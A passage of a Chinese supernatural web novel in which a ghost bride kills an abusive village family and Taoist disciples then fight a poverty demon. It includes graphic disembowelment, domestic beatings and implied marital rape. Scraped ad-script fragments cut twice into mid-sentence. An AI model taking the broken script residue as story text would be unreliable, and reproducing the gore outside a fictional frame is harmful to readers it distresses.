从小李父喝酒,就拿筷子头沾着白酒给儿子嗦,李亮老早就染上酒瘾了,量比他爹还大。要不然也不至于一天到晚都浑浑噩噩的,除了吃就是睡。他一脚蹬在椅子上,喝了一口酒,感觉身上热乎乎的,胆子也大多了。他道:“那几个道士还回来么?” 李母道:“肯定回来啊,他们不得带结香走么?” 李亮道:“才卖了三十两银子,他们也不是缺钱的主,说不定嫌她没用,就不要了呢。” 他说着,上下打量着来送饭的结香,似乎想把她再卖一次。结香感觉很不舒服,把菜放在桌子上,低着头快步出去了。 李父道:“他们不是说还要回来治妖么,都说了让咱们等着了。” “你听他们的呢,”李亮蔑然道,“多半是找个借口溜了,咱们还傻乎乎地在这等着,连日子都不过了。” 李母看出他想搬回去住了,道:“你老实点吧,这事不是闹着玩的,先前那家人多惨,你不知道啊?” 李亮无所谓道:“那是他们命不好,跟咱们有什么关系。哪家人上街被雷劈了,你也吓得不敢出门啊?” 李母沉默着没说话,李亮道:“家里花了这么多钱娶媳妇,不赶紧生孩子,不浪费么?” 李父看不得他那猴急样儿,皱眉道:“你再安稳两天。” 李亮一口气把酒喝了,道:“安稳不了,我等烦了,今晚就回去住。臭丫头——帮我把被褥搬回去。” 结香本来坐在厨房门口吃饭,听见了他的话,放下碗站了起来。段星河他们让她看住家里人,别去接触新媳妇。她哥才安静了几天就闹起来了,就连死了人在他这里也不值一提。 她道:“道长让咱们等他们回来,哥你再委屈两天。” 李亮粗声粗气道:“老子让你干什么你就干什么,哪那么多废话?给我搬东西去!” 结香急道:“村头都有人死了,你没去看,不知道有多吓人。” 李亮怒道:“关老子什么事,你别在这儿咒我,丧气东西!” 他说着抬起腿,给了结香一个窝心脚。结香惨叫一声,被他踢得倒在地上。他还不解气,举起拳头对着她头脸就打。结香抱着头躲了几下,还是不小心挨了一拳,疼的眼泪差点掉下来。 李母从屋里出来,劝道:“哎呀,别打了,说她两句就行了。她都是别人家的人了,打坏了人家主顾不乐意!” 结香还以为母亲会心疼自己,原来只是怕在宋大小姐跟前不好交代。她原本还强忍着的泪水骤然落了下来,李亮又甩了她一个巴掌,道:“还哭,快去干活!” 李父也出来了,道:“你傻不傻,打身上就算了,打脸上人家不一眼就看见了。” 李亮烦躁道:“那帮臭道士不回来啦,这破地方一旦走了,谁还再来啊。要我说赶紧张罗给她说门亲,之前那个老光棍就挺好的。” 结香无声地掉着眼泪,从来没这么期盼有人来接自己过。她不知道宋胡缨还会不会回来,如果他们真的就这么走了,自己也不想在这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地狱里待下去了。她抬手擦了一下脸,发现嘴角被打破了,鲜血混着泪水沾的满手都是。 她的眼神有些麻木了,抬起头来,却见新房里点起了一盏灯,火光红幽幽地透出来。小嫂子的身影站在窗前,好像在听他们争吵的声音。 结香十分失望,觉得这个家里的人还不如那个不知是人是鬼的家伙在乎自己。她缓缓站起来,不想再拦着了,他们想干什么,就由得他们去做。夜色中她摇摇晃晃的背影僵硬的像一具行尸走肉,竟也有几分像她的小嫂子了。 她去客房抱出了李亮的被褥,她哥已经把门窗上的符咒撕掉了,显得得意洋洋的。小嫂子坐在床边,木然地看着他们走了进来,结香把被褥放在床上铺好。小嫂子朝她伸出手来,她的手指冰凉,结香下意识哆嗦了一下。小嫂子碰了碰她的嘴角,道:“妹……疼吗?” 结香摇了摇头,心里越发难过了。李亮大步走过来,把结香一把推了出去,道:“没你的事了,滚出去。” 小嫂子还望着结香,门却已经关上了。母亲吹灭了灯火,打发道:“去睡觉吧。” 结香往外走了几步,就听见屋里传来了小嫂子的尖叫声。李亮喘着气打了她两个巴掌,道:“不让碰,我是你汉子你不让我碰,留着给谁,嗯?” 结香内疚地低下头,回到了自己屋里。隔壁断断续续有声音传过来,小嫂子的声音十分凄惨。结香不知道成亲之后是不是都这样,心里觉得十分屈辱,又很害怕。她拿被子把头蒙了起来,也不知过了多久,渐渐睡着了。 大约寅时左右,李母起夜,从小两口门前经过,忽然闻见一阵强烈的血腥气。那种气息很熟悉,就像不久之前,她去村头出事的那家闻见的一样。 李母有种不好的预感,悄悄把卧室的门推开一线,就见床上一人直挺挺地躺着,另一个人趴在他身上,弓着背,低着头正在吃什么东西。 “咯吱咯吱咯吱咯吱——” 咀嚼的声音很柔软,牙齿陷进去,切断它要废一点力气。 她把嘴里的东西吞咽下去,还不满足,又吸了一口汁水,长长地叹了一口气,好像很久没有吃过这么温暖的东西了。 李母颤声道:“你在干什么?” 那个窈窕的影子抬起了头,月光照在她脸上,新媳妇的皮肤煞白,嘴边沾了一圈血迹,滴滴答答地顺着尖削的下巴淌下来。 空气里弥漫着浓烈的血腥味,她露出一个温顺的笑容,道:“他睡着了,我就把他吃了。” 李母不敢相信自己看到的一切,僵着身体动弹不得。小媳妇道:“娘,好吃……你吃不吃?” 李亮的头耷拉在一边,肚皮被划开了一道大口子,里头的心脏没了,肠子也快被她吃光了。内脏乱七八糟地堆在一起,弥漫着恶臭而又温暖的味道。 “啊……啊啊啊啊啊——!!!” 李母终于理解了发生了什么,连滚带爬地逃出去,歇斯底里地嚎叫道:“杀人了,我儿子没了……我的儿啊啊!” 李父听见了声音,端了一盏灯出来。新房的屋门大开,他过去看了一眼,登时被眼前的情形吓呆了。满床都是散落的内脏和血肉,屠宰场也没有这么残忍。李父的心脏本来就不好,忽然感到胸口一阵剧痛,张着大嘴嗬嗬地喘气,重重地倒在了地上。 油灯滚落在地,火焰点着了旁边的桌子,火舌顺着木头门窗向上蔓延,很快整个屋子就烧了起来。结香被浓烟呛醒了,见外头火光冲天,连忙喊道:“爹,娘,走水了——” 没人理她,结香出门一看,就见父亲倒在地上。她吓了一跳,想要把他背起来,可父亲实在太沉了。她只好拖着他往外走,头上哗啦一声巨响,沉重的房梁带着火砸了下来。结香差点被砸死,父亲被木头压住了。她竭力道:“爹,你醒醒啊!” 李父躺在火堆里,已经没气了。大火气势汹汹朝她扑面而来,结香实在没办法,只好冲出火场先去找水。邻居还没觉察到这边的异样,结香喊了几声,只有几条狗汪汪地叫着。 她费劲地提了两桶水,泼在了屋里,却是杯水车薪。她望着熊熊燃烧的烈火,整个人都绝望了,放声大哭道:“娘,哥,你们在哪儿啊?” 夜色浓重,李母跌跌撞撞地在村子里奔逃,一边大声喊道:“救命,杀人了,杀人了——” 有人家的灯火亮了起来,却没人出来查看。经历了上次的惨案之后,村民们都战战兢兢的,生怕招惹上鬼怪,夜里根本不敢出门。 李母心中害怕,腿上直发软,一屁股坐在地上,哀声道:“怎么没人来,救命啊——” 一阵寒风吹过,一大把红色的纸片吹了过来,渐渐聚拢成人的模样。李母被它拦住了去路,吓的浑身发抖,道:“鬼、鬼……你是哪来的妖怪?” 那身影越走越近,却是他家新媳妇的模样。小媳妇道:“娘,我不是妖怪,我是你闺女啊。” 李母不住摇头,道:“你不是,你是鬼,你害死了我儿子!” 小媳妇痴痴地望着她,道:“你是我亲娘啊……当年就是你拿了缝衣针,从我头顶扎进去,把我扔到水里去了。水里好冷啊,我身边还堆着好多骨头。这么多年,我一直想回来看看你们,多亏了琼娘娘用纸剪了个身体给我,我就又能当你的闺女了。” 李母恐惧地看着她,不敢相信她的话,却又不得不信。红色的纸片飘悠悠地浮在她身边,仿佛活了一般,都听从她的摆布。 难怪成亲的时候她不肯跨火盆,原来身子是用纸剪的。李母浑身直哆嗦,想着这段时间所有的事,终于明白过来了。她是被自己溺死的那个女婴,一直没能去投胎,琼娘娘借着成亲的机会,把她招魂送到了这个家里来。 她颤声道:“你想干什么?” 小媳妇幽幽道:“娘,我好想跟你们成为一家人啊……我做梦都想不到,还能管你叫娘,真好啊。” 她的眼里透着灼灼的爱,强烈得咬牙切齿,恨不能把这妇人也吞吃入腹。李母不住往后缩去,怕的连叫都叫不出来了,只是哑声道:“求求你了,放过我吧,不是我一个人这么干,这村子里的人都是这么做的……我也是没办法。” 小媳妇对这些置若罔闻,只是蹲在她面前,伸出了双手道:“娘,我好想你,你抱抱我好不好?” 李母见过儿子的惨状,知道被她抓住就死定了。她爆发出浑身的力气,一头朝她撞过去。那小媳妇尖声大笑起来,身体砰地一声化做漫天的红纸,在风中不住飞旋。 “哈哈哈哈哈哈——” 李母也顾不上许多了,竭力向前跑去。碎纸片追逐着她飞舞,一边道:“你能跑到哪里去啊,娘,你从年轻的时候就这么能折腾,我就喜欢你这个样子。” 李母想呼救,却发现一团黑气缠绕住了她的脸,就像一只手捂住了她的嘴。李母感到一阵窒息,脸憋得通红,渐渐跑不动了。 那个温柔的声音在她耳边道:“娘,你不抱我,那我抱你也是一样的。” 下一刻,那团黑雾紧紧地缠住了她的身体,就像一个热烈的拥抱,慢慢收紧。 李母倒在地上,眼珠暴突出来,骨骼发出格拉格拉的声音。这种死亡的速度十分缓慢,让她有足够的时间感受自己的痛苦,觉察自己是怎么一点点窒息的。就像她的一生,既是苦难的旁观者,又是受难者本身。 她的内脏破裂,血从口中喷了出来,身体在黑暗中痉挛了许久,终于不动了。啪嗒一声,她的一颗眼球滚落在身边,狰狞的表情凝结在脸上,死状之可怖跟她的儿子不相上下。 当初致自己于死地的人,这么轻易就死了。那团黑雾觉得有些空虚似的,静静地俯瞰了她一阵子,忽地卷着无数碎纸片飞旋起来,不知道又去了什么地方。 64.琼娘娘 六 李家的火越烧越大,浓烟滚滚飘散出去,终于有人发现了。村民们提着桶过来救火,一群人嚷嚷着忙活到东方发白,终于把火扑灭了。李家也被烧成了一片焦土,砌墙的石块都崩裂了,到处一片黢黑。 村长闻讯赶到了,带着几个民兵在火场里看了一圈。李父被压在房梁下面,两条腿都被砸断了。地上倒着些烧焦的家具和门窗,角落里有些烧化了的纤维,一块拇指大的布片上面还有碎花,应该是女人的衣裳。 几个人搬开了塌下来的木头,在卧房里发现了被烧焦的李亮。他父亲还有个囫囵尸体,李亮却开膛破腹,心肝肠子都不见了。他浑身焦黑,摊开手脚躺在那里的模样,就像一具烤猪。 众人感到一阵恶心,吓得接连后退了好几步,一时间没人敢过去给他收尸。 那两人的身体都被烧成了焦炭,稍微一碰就碎的拼也拼不起来。要是已经烧成了骨灰还好,这样烧半截是最难办的。村长看了一眼,顿时捂住了口鼻,也有些受不了。一个村民道:“怎么办?” 村长皱眉道:“拿两个筐盛着,弄到祖坟里埋了。他家女人呢?” 出了这么大的事,他家不光小媳妇不见了,李母和结香也不见了。救火的人一直没见到她们,纷纷摇头。村长道:“愣着干什么,赶紧去找!” 这时候就见有人跑回来,慌张道:“结香找到了……就在附近昏倒了。” 有人把她背了回来,结香的脸被烟熏得黢黑,头发也烧焦了。那人把她放在地上,她已经醒了,眼睛直勾勾地看着烧成废墟的家,整个人失魂落魄的,精神好像不正常了。 一群人看着她,想知道昨天夜里发生了什么。村长发话道:“怎么回事?” 结香张开嘴,动了几下却说不出话来。村长一摆手,有人提了一桶水过来,哗地一声泼在她脸上。井水冰凉刺骨,结香倒出一口气来,总算清醒了一些。她浑身不住滴答水,哇地一声哭了出来。 村长头疼起来,觉得女人就是麻烦,不管怎么样都得先嚎两嗓子。有人不耐烦道:“问你话呢,赶紧说!” 结香浑身发着抖,道:“我哥昨天晚上心情不好,喝了些酒,打了小嫂子,她哭的很惨。后来我睡着了,就听见我娘喊杀人了。我还以为是做梦,出来一看,就见房子着火了,我爹心疼病犯了。我想把他拖出来,拖不动,他被房梁砸中了,我的爹啊——” 她想起当时的情形,悲从中来,放声大哭。救火的人在现场发现李父的尸体确实被房梁压住了,她没撒谎。 村长道:“然后呢?” 结香哽咽道:“我打水救火,但火势太大了,我扑不灭。我想出去求救,没走多远就被烟呛昏过去了。” 她一个小女人,经历了这么大的冲击,受不了昏过去也很正常。结香道:“我哥呢?” 村长想起李亮内脏被扒出来的情形,实在回答不了她。结香意识到她哥遭遇了不幸,小声道:“他……死了么?” 村长不想太刺激她,含糊道:“跟你父亲一样,死在火场里了。” 结香顿时又落下泪来,她哭了一阵子,又道:“那我娘呢?” 村长道:“可能逃出去了,我已经让人去找了。” 结香沉默着,希望母亲能够没事。她浑身都湿透了,在寒风里不住发抖,双手抱着臂道:“我想换衣裳。” 她家都被烧没了,哪有衣服可换。附近有好心的婶子道:“上俺家来吧,俺闺女有多余的衣裳。” 结香点了点头,去她家换了衣裳鞋子。她的神色惨淡,出来道:“朱婶子,你家住得近,昨天晚上看见什么了么?” 朱婶子惋惜道:“我昨晚睡得沉,啥也不知道……哎,早知道你家着火了,我们肯定赶紧来救。” 她可怜这丫头似的,帮她整了整衣领,道:“这衣裳送给你了,别太难过了,好闺女。” 结香木然地道了一声谢,道:“能借您个盆么,我把湿衣裳洗了。” 婶子指了指院子里的木盆,结香去打了一桶水,慢慢地洗着衣裳。院子外头聚了一群婆婆妈妈,看着这边的情形指指点点。有人小声道:“又一户娶了媳妇倒霉的,全家就剩下她了。” 有人道:“她娘还没死吧,不知道跑到哪里去了。” 另一人道:“找回来也不中用了吧……之前那户人家的婆娘已经吓疯了,谁也不认识,见人就嚎。” 有人道:“这时候还有心情洗衣服?” 又一人道:“吓坏了吧,我看她脑子也不太正常了。” 结香眼里只有手上的活儿,好像只要沉浸在其中,就能够忘却发生了什么。外衣上只有些烟灰,冲一冲就干净了。里头的棉袄上沾了点血,说不定棉絮也湿透了,得仔细洗干净才行。 结香背着身,用力地搓着盆里的衣裳。一下,又一下,一缕血迹升腾起来,迅速染红了整盆水。结香哗地一声把水倒在泥地上,血水渗透下去,很快就没了踪迹。 结香拧干了衣裳,拿着回了家。她家成了一片瓦砾,门窗桌椅已经全烧成焦炭了,炕还没完全塌。结香把衣裳放在身边,看着光秃秃的一片,整个人仿佛失去了一切情绪,陷入了长久的静默之中。 没过多久,村民们在村后湾附近发现了李母的尸体。村长去检查了,发现她是窒息而死,不像是被绳子勒的,但不知道是什么凶器。之前那家人死的这么惨,这户人家的惨状让人很容易跟那一家的情况联系到一起去。村长让人掘地三尺地找了好几天,一直都没找到李家的小媳妇,跟上一家的新媳妇一样,就这么凭空消失了。村子里开始出现了流言,说琼娘娘送来的媳妇都是害人的恶鬼,吸干了人的精气,就把人杀了。 这种情况持续了几天之后,琼娘娘送来的另外几个媳妇,一夜之间忽然都不见了。 村民们十分恐慌,不知道谁先起了个头,说琼娘娘是妖物,要去除掉她。村子里的男人聚在了一起,拿着铁锨、锄头和棍棒,闹哄哄地去了琼娘娘居住的山洞,大声嚷着要她滚出来。 琼娘娘穿着一身红袍,眼皮上抹着两道紫色的胭脂,身上戴着好几串牛骨项链,一身巫师的打扮。她盘膝坐在山洞里,庄严的声音传了出来:“你们来干什么?” 村长的儿子在前面打头阵,手里提着棍棒,大声道:“你放了妖怪去村里害人,还在这里装没事人。” 他名叫冯大壮,三十出头年纪,会一点拳脚功夫,村子里的民兵都归他管,这回来找琼娘娘算账就是他拍的板。这祸害不除,村里人的日子没法过,他爹这村长也要当不下去了。 琼娘娘端然道:“当初不是你们跪在地上求我赐媳妇的么,怎么现在又翻脸不认人了?” 一个年轻人道:“你给的媳妇都不是活人,你没安好心!” 又一条大汉喊道:“我看她也是个妖怪,赶紧把原形现出来,我们要除妖!” 一群不开化的愚民,一点能耐也没有,就会瞎嚷嚷。琼娘娘根本没把他们放在眼里,冷冷道:“有本事你们就动手啊。” 众人你看看我,我看看你,谁也不敢先动手。冯大壮捡起一块石头砸了过去,其他人便跟着噼里啪啦地砸了起来。张琼花的身体东倒西歪的,挨了几下子,就这么笔挺地倒了下去,好像早就僵硬了。有人疑惑道:“死了?” 一道黑气从她的躯壳里升了起来,携着一道狂风朝那些人席卷过去。顿时到处一片天昏地暗,飞沙走石。一群人被狂风吹得站立不住,有的摔倒在地,有的抱着树大喊救命,刚张开嘴就吃了一大把沙子,连话也说不出来了。 头顶的黑影还在扩大,把白天遮得像夜晚一般昏暗。冯大壮顿时慌了,意识到这东西不是自己这种凡人能对付的,再不走恐怕要全折在这里。他连忙招呼道:“这妖魔厉害得很,快撤!撤!” 他一吆喝,其他人就跟着他一起逃走了,有的连锄头都顾不上拿,丢盔弃甲的。那道黑影漂浮在半空中,对他们十分轻蔑,又觉得不能这么放过他们。它飞向前头的小浔村,骤然张开身体,黑沉沉的阴影笼罩在了村子上方。它报复似的张开了大嘴,贪婪地吞食起了生人的精气。 大车缓缓地驶进小浔村。伏顺看着外头白花花的盐碱地,感叹道:“妙啊,又回到这鸟不拉屎的地方了。” 他话音未落,忽然见前头黑压压地涌出一大片人,每个人都拿着锄头铁锨,一副如临大敌的模样。有人大声道:“来了,大幽的道士们回来了!” 呼啦一下子,他们的车被村民们包围了。伏顺吓了一跳,道:“不是吧,我就说了他们一句坏话,不至于这么兴师动众吧。” 赵大海勒住了缰绳,大车停了下来。段星河看着周围的人,皱眉道:“你们这是什么意思?” 村长的儿子从人群后走了出来,随手拍了一个拿铁锨指着大车的人的脑门,呵斥道:“憨货,让你来接人,谁让你吓唬道长们的,都把家伙事收起来!” 其他人纷纷把铁锹背在身后,老老实实地站好。冯大壮和气道:“这群人不懂礼数,道长别见怪。听说几位道长去城里求仙法了,我们一直在这儿等着,你们可算回来了!” 段星河喔了一声,表情有点一言难尽。原来是来迎接自己的,这些人这么气势汹汹的,他还以为是要抓住他们沉塘的。 那些人一个个目露凶光,要不然就是麻木愚痴,确实书读的太少了,缺少教化。 他们之前也没有这么把自己当回事,如今这么激动,必然是又倒霉了。 段星河下马道:“出什么事了?” 冯大壮道:“道长有所不知,你走了这几天,村子里又闹妖了。就是之前李家新娶的那个小媳妇,把她男人杀了,吓死了她老公公,又撵出去杀了她婆婆——” 他把李家的事说了一遍,众人都十分吃惊。伏顺趴在车窗口,急切道:“那结香怎么样了?” 冯大壮道:“他家闺女运气好,还活着,但也吓得不轻,好几天都不说话了。” 段星河没想到才离开几天,李家就出事了。他们走之前明明留下了符咒,三令五申让他们不要靠近新媳妇。要是李家人听话的话,也不至于变成这样。 李玉真叹了口气,喃喃道:“都是命啊……阎王要收走的人,留不住的。” 步云邪道:“先回去看看吧。” 一群人一起往李家走去,大车停在烧毁的屋子跟前,结香待在废墟里,身边放着那件破棉袄,坐着一动不动。宋胡缨下了马,朝她跑了过去,道:“结香,我们回来了,你没事吧!” 结香缓缓抬眼看着她,好像认不出她来似的。宋胡缨摸了摸她的脸,道:“是我啊,我来接你了。” 结香喃喃道:“大小姐,你回来了……” 她像被唤醒了一般,眼泪骤然落了下来,紧紧地抱住了宋胡缨,道:“你来接我了,我知道你不会骗我的!” 宋胡缨轻轻地拍着她的背,安慰着她。结香语无伦次道:“我让他们等一等,他们不听……强行把符咒揭了,还打我,我没办法……” 宋胡缨光听着都心酸,给她擦干净了脸,道:“你家里的事我们已经知道了。你别难过,我们会想办法的。” 冯大壮在旁边听见了,眼睛骤然一亮,道:“几位小道长打算怎么除妖?” 段星河没回答,看见旁边放着李家父母的灵位,是村里的好心人给结香做的。他点起几炷香,插在了香炉里,道:“多谢你们给我们容身之所,我们会好好照顾结香的。” 青烟袅袅地升起来。伏顺见角落里还倒扣着一个灵位,拿起来一看,却是李亮的。他嫌晦气似的又扣了回去,这人活着的时候讨人厌,死了之后让人看到他的名字都心烦,难怪结香要把他扣住。 村长的儿子有求于人,只好耐着性子又问了一遍:“几位小道长要怎么除妖?” 段星河回过头来看着他,道:“你们打算出多少钱?” 冯大壮啊了一声,道:“这……你们不是出家人么,做好事还要收钱?” 段星河虽然带来了五色神种,但不能让他们占了自己的便宜,一脸冷淡道:“谁说我们是来做好事的,我们是来接结香的,这就走了。” 他说着帮她拿起了包袱,放在了大车上,道:“上去吧。” 冯大壮登时慌了,这些道士一走,就再没人能救他们了。他连忙道:“别别,别走,咱们去见见我爹,有话好商量。” 段星河等人去了村长家,村长听说大幽的道士们回来了,正准备去看他们,儿子就把他们带过来了。他连忙上前去迎接,一把握住了段星河的手,热情道:“小道长,你们可算回来了,我们这段时间一直在等你们啊!” 段星河淡淡道:“村子里的事我们已经知道了,村长打算怎么办?” 村长道:“我们之前去找琼娘娘算账,她来了个金蝉脱壳,扔下了那个老娘们的人身,变成一股黑风逃走了。” 他拿起烟杆子一指天空,道:“从那以后,这天就灰蒙蒙的,好一阵子都没见太阳了。大家身上都不舒服,也说不清楚怎么回事,就是使不上劲儿,年纪大的病倒了好几个了。” 村子上空弥漫着一股阴气,这地方的穷恶之气平时就冲天而起,遮天蔽日的。那大妖就算明目张胆的在这里吸人精气,也没有天道管它。 村长把他们当成了救命稻草,迫切道:“小道长本事高强,专程回来一趟,便是心怀仁善,还请你除掉那妖物,救救我们。” 段星河道:“你想治标还是治本?” 村长一怔,道:“治标如何,治本又如何?” 段星河道:“治标我们就给你把那妖物除掉,收费二百两银子。治本就得改造这片土地,需要五百两。” 村长十分惊讶,道:“就这盐碱地还能改造?” 段星河端然道:“我们自然有办法。” 村长受够了这片地的苦,做梦都想让它变成肥沃的土壤。他连忙道:“几位小道爷若是能改造土地,那再好不过。只是我们这里的情况你也看到了,大家实在拿不出多少钱,我们最多能出二百两,劳烦你受累,整治完了土壤顺便把那妖物赶走,大恩大德,我们立长生牌位来感谢你们!” 段星河等人为了买五色神种就花了五百二十两,结果他们只肯出二百两。虽然早就料到会是这样,但还是有些失望。人各有命,段星河寻思着要是实在救不了,就不管这里的事了。自己把种子转手卖给别人,怎么也能赚上一笔,比在这里受累受气强多了。 他淡淡道:“没那么顺便,村长既然心意不诚,我们也没什么好说的,告辞。” 他草草行了一礼,转身往外走去,一群人都跟着他。伏顺打了个呵欠,道:“赶紧走吧,这地方我一会儿也不想待了。” 村长也知道除妖的风险极大,接二连三死了那么多人,那么多大小伙子都被狂风吓回来了。改造土壤也是逆天行事,就给二百两实在有点瞧不起人家了。 村长跟了上去,道:“几位小道爷先别急着走,咱们再谈谈,你们说个数,最低多少钱能把这两件事办了?” 段星河道:“最低五百两。” 这村子虽然穷,村长手里还是有些油水的。他道:“四百两,我们这儿穷成这样,实在拿不出更多了。” 段星河叹了口气,虽然赔本,但比他预想的要好多了。他道:“改造土壤需要祭祀,得准备三牲和香烛,你们来办。” 村长怕他反悔似的,连声道:“好好,那就这么说定了。几位小道长在我家住下吧,我好生招待你们。” 跟他们住在一起不自在,反正就几天的时间,将就一下就过去了。段星河道:“不必了,我们在李家凑合一下就行了。” 从村长家出来,就见一股阴风刮过,卷的路上沙石飞扬。段星河抬头一望,见一股妖气往山中飞去,想来是那妖物注意到他们来了,想暂时避一避风头。 段星河微微一扬嘴角,道:“还挺聪明的,不过可惜,咱们找的就是它。” 步云邪道:“怎么说?” 段星河道:“直接去挑了它的老窝,看它能有多大能耐!” 其他人也想速战速决,追着那股妖气一路奔行,来到了村外的山洞前。山洞里散发着阴沉沉的妖气,段星河道:“别躲了,琼娘娘,咱们是专程来找你的。” 山洞里传来一个阴沉的声音,像是个中年妇人说话。 “找我干什么?” 段星河道:“你剪的纸人害死了不少村民,我们受人之托,来找你讨个说法。” 那妇人冷笑了几声,道:“有什么好说的,他们要媳妇,我就把媳妇赐给他们。他们给的钱不够,我就让他们拿命抵一部分,这笔买卖有什么不合理的?” 段星河道:“别强词夺理了,他们希望你赶紧离开,这地方这么穷,你待在这里也没什么好的吧?” 琼娘娘拄着拐杖从山洞里走了出来,阴影渐渐褪去,她的面容露了出来。众人看清了她的模样,都吓了一跳。 她脸上满是皱纹,皮肤一块块剥落下来,露出里头的血管和骨骼,肌肉都腐败发黑了。照结香所说,张琼花是个四十多岁的妇女,被大仙上身之后面色红润年轻,仿佛三十出头。此时她却像是刚从棺材里翻出来的僵尸,已经腐败的不成样子了。 她早就已经死了,操纵这具身体的大妖自从行迹败露之后,懒得维持人类的模样,任由这具身体腐烂成了这个样子。 她恨恨地盯着段星河他们,道:“本座本来在这儿过得舒服得很,你们这些小崽子为什么要来给我捣乱?” 段星河道:“路见不平,拔刀相助嘛。再说你做事这么猖狂,就算我们不管,村民一人一铲子土也把你埋了,你当人都是傻子么?” 她浑身散发着一股强烈的匮乏感,让人感觉很不舒服,跟他们之前遇到的大妖都不一样。段星河扬声道:“我们不杀无名之辈,你是谁,报上名来吧。” 琼娘娘一拂衣袖,傲然道:“小东西不懂礼数,问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人名字,自己不先说么?” 段星河本来觉得告诉她也无妨,忽然一顿,猜到了它的身份是什么,自己的名字可不兴告诉这尊大妖。万一被它惦记上了,自己这辈子就没有发达的指望了! 他眼睛一转,正色道:“大丈夫行不更名坐不改姓,我叫刘正阳,家住巴蜀天心观。这位是我的顶头上司,李如芝。你可千万别记错了。” 步云邪忍着笑,点了点头,表示他说的不错。 琼娘娘咬牙切齿道:“我记住了,不会忘的。” 段星河看着它道:“你不是什么琼娘娘,是贫穷本穷吧?” 琼娘娘冷笑了一声,道:“臭小子,算你有点眼力。这地方跟我气场相合,本来就是这些村民把我吸引过来的,却又翻脸不认账了。请神容易送神难,想让我走,你们可要拿出点本事来!” 她举起了手中的龙头拐杖,作势要把他们暴打一顿。李玉真掏出了自己的紫金葫芦,道:“哎哎,君子动口不动手。我叫你一声,你敢答应吗?” 琼娘娘把脸一沉,道:“我去你的,当我是三岁小孩儿呢!” 她说着袍袖一摆,挥出一道劲风,把李玉真吹得连连后退。宋胡缨一掠上前,手中的烈焰斩马/刀一挥,生出一道火焰,把琼娘娘逼得向后退去。 宋胡缨接连几刀砍过去,琼娘娘的身体虽然腐烂了,却还十分灵活。她在刀光中腾挪了几下,一条腐烂的胳膊晃晃悠悠的,支撑不住掉在了地上。就像一个烂掉的果实,散发出难闻的气味,淌了一地的脓液。 伏顺一捂眼,道:“我的天呐,你好歹跟这具身体相处了这么久,怎么就让它烂成这样?” 步云邪道:“穷懒不分家,可能它觉得照顾身体很麻烦吧。” 琼娘娘冷漠道:“天底下有的是身体,这具坏了,我换下一具就是了……嗯,我看你这小子的身体不错,给我用用?” 伏顺吓得往后退去,大声道:“我穷了半辈子了,还没找你算账呢。你要是敢过来,我饶不了你!” 琼娘娘放声大笑起来,道:“有趣、有趣,我可太喜欢你了!” 伏顺感觉被它眷顾并不是什么好事,浑身的汗毛都竖起来了。她骤然掠到了伏顺面前,道:“我看你穷的还不够彻底,要不要我给你赐福,让你更穷一点啊?” 伏顺顿时打了个激灵,觉得那还不如杀了自己呢,喊道:“大师兄救我!” 段星河一剑斩过来,她已然闪身向后退去。段星河跟宋胡缨追着她横劈竖砍,琼娘娘腐败的身体稀里哗啦的,不断有零件掉落下来,先是一根手指头,继而是半个鼻子,接下来是一颗眼球。 两人的兵刃齐出,分左右拦住了她的去路。她被逼的无路可退,这具肉身也快要散架了。段星河道:“服不服?” 她癫狂地大笑起来:“哈哈哈哈哈有点本事,原是我小瞧了你们——” 她猛地爆发出一股力量,轰地一声将两人的兵刃震开了。段星河和宋胡缨各自后退了两步,就见它舍弃了那具肉身,一道黑雾从七窍内钻出来,漂浮在半空中。 没有了肉身的束缚,它散发出来的那股匮乏感越发强烈了。段星河望着天空中的那团张牙舞爪的黑雾,道:“感觉到了么?” 步云邪道:“感觉到了。” 赵大海还没明白过来,憨憨地道:“感觉到什么?” 李玉真道:“饿了半个月,钱都花光了,浑身脏兮兮,又累又困又渴又饿的感觉。” 赵大海挠了挠头道:“是吗,我皮糙肉厚的,感觉不出来呢。” 伏顺道:“呆子,那是因为你穷习惯了!” 贫穷张开双翼朝他们扑了过来,咆哮道:“愚蠢的人类,接受本座的祝福吧——” 众人呼啦一下子都躲到了赵大海身后。赵大海眼疾手快,把盾牌举了起来。他的盾牌经过炼化,不但能抵挡兵刃,还能抵挡妖魔鬼怪的侵袭。金色的光芒像伞一样笼罩着他们,把那团黑雾挡在了外面。 伏顺见步云邪把手藏在背后,指尖闪烁着星星点点的紫色灵光,正在悄悄结印,便想办法帮他拖延时间。他道:“大海,快快,你既然不怕它,就和它多交流吧!” 赵大海道:“交流什么?” 伏顺道:“问问它……为什么这个世上有人那么穷,有人那么富,这本来就不公平嘛。” 赵大海大声道:“他们让我问你——” 贫穷道:“本座不聋。” 赵大海道:“喔,那你说吧。” 贫穷道:“凭什么你问我就要告诉你们?” 赵大海道:“闲着也是闲着么,你又打不破我的盾,我也不打算出去。” 贫穷冷笑了一声,道:“谁说我打不破的。小宝贝们,去陪他们玩玩!” 它说话声中,周围兴起了一阵狂风,把赵大海吹得东倒西歪,盾牌上的灵光罩随着他不住动荡。伏顺抱着头惨叫道:“别晃了别晃了,它快钻进来了,啊啊啊穷到我了!” 众人浑身都缠着一层青气,十分难受。宋胡缨甩了甩胳膊,皱眉道:“什么东西,这么痒?” 一群黑色的小点从防御罩的缝隙里钻进来,密密麻麻的爬的众人浑身都是。伏顺挠了挠脸,又挠了挠头,眼看着那些小黑点到处乱蹦,忽然意识到是什么东西了,道:“妈的,它放跳蚤咬人,不讲武德!” 众人的脸色都变了,宋胡缨的脸色尤为难看。李玉真能感到她的愤怒直冲头顶,道:“宋姑娘,冷静啊。” 宋胡缨活这么大还没招过跳蚤,冷静不了了。她怒吼一声,一脚踢翻了赵大海的防御罩,提着斩马/刀冲出去,一刀向那团黑雾劈了过去。 黑雾躲闪不及,被火焰灼伤了。宋胡缨身上越痒,脾气越大,一记回旋踢抖落了七八只跳蚤。那团黑雾被她撵的到处逃窜,一时间竟无还手之力,连声道:“你这个悍妇,谁准你这么冒犯本座了!” 宋胡缨又是一刀砍了过去,咬牙切齿道:“让你放跳蚤咬我!” 步云邪此时结好了印,召请到了雷公电母神力。他袍袖一挥,一道灵光向天空奔腾而去,云层中轰然一阵巨响,紫色的雷电落了下来。 李玉真喊道:“快闪开!” 